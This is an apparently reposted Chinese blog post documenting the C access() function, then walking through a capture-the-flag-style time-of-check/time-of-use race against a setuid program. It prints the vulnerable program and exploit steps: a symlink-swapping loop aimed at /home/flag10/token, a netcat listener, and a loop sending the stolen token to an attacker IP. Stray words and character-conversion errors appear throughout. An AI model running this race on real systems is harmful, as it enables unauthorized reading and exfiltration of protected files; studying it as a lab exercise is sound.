access()函数用来检查调用进程是否能够对指定的文件执行某种操做。并发
================================================================================socket
来自:https://blog.csdn.net/tigerjibo/article/details/11712039函数
1.函数功能:测试
检查调用进程是否能够对指定的文件执行某种操做。ui
2.函数原型:spa
1)函数头文件.net
#include <stdio.h>
#include <unistd.h>code
2)函数blog
int access(const char * pathname, int mode)token
3)形参
pathname:须要检测的文件路劲名
mode:须要测试的操做模式。
4)函数返回值说明
成功执行时,返回0。失败返回-1,errno被设为如下的某个值
EINVAL: 模式值无效
EACCES: 文件或路径名中包含的目录不可访问
ELOOP : 解释路径名过程当中存在太多的符号链接
ENAMETOOLONG:路径名太长
ENOENT:路径名中的目录不存在或是无效的符号链接
ENOTDIR: 路径名中看成目录的组件并不是目录
EROFS: 文件系统只读
EFAULT: 路径名指向可访问的空间外
EIO:输入输出错误
ENOMEM: 不能获取足够的内核内存
ETXTBSY:对程序写入出错
5)mode说明
R_OK 测试读许可权
W_OK 测试写许可权
X_OK 测试执行许可权
F_OK 测试文件是否存在
================================================================================
常见的用法是先用access()函数判断文件是否能够操做,而后再经过open()函数对文件进行相应操做。可是这二者以前存在一个时间差,从而造成了时间条件竞争漏洞,越权读取文件。
参考下面的代码:
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
先经过access()判断传参文件是否可读(注意:这里access()函数检查的是ruid,而不是euid),而后open()打开文件进行读取并发送数据。access()与open()之间存在时间差,且因为这里access()判断的是ruid,因此能够经过频繁改变目标文件,使得access()和open()判断的不是同一个文件,便可越权打开文件
*****************************************************************************
*利用方法:
假设token文件为当前用户不可读
一、编写脚本,将有权限与没有权限的文件循环指向同一个文件
while true; do ln -sf /home/flag10/token /tmp/ttt ln -sf /tmp/aaa /tmp/ttt done
二、攻击侧监听18211端口
while true;do nc -lvnp 18211;done
三、执行该程序,获取文件
while true; do /home/flag10/flag10 /tmp/ttt 10.211.55.2 done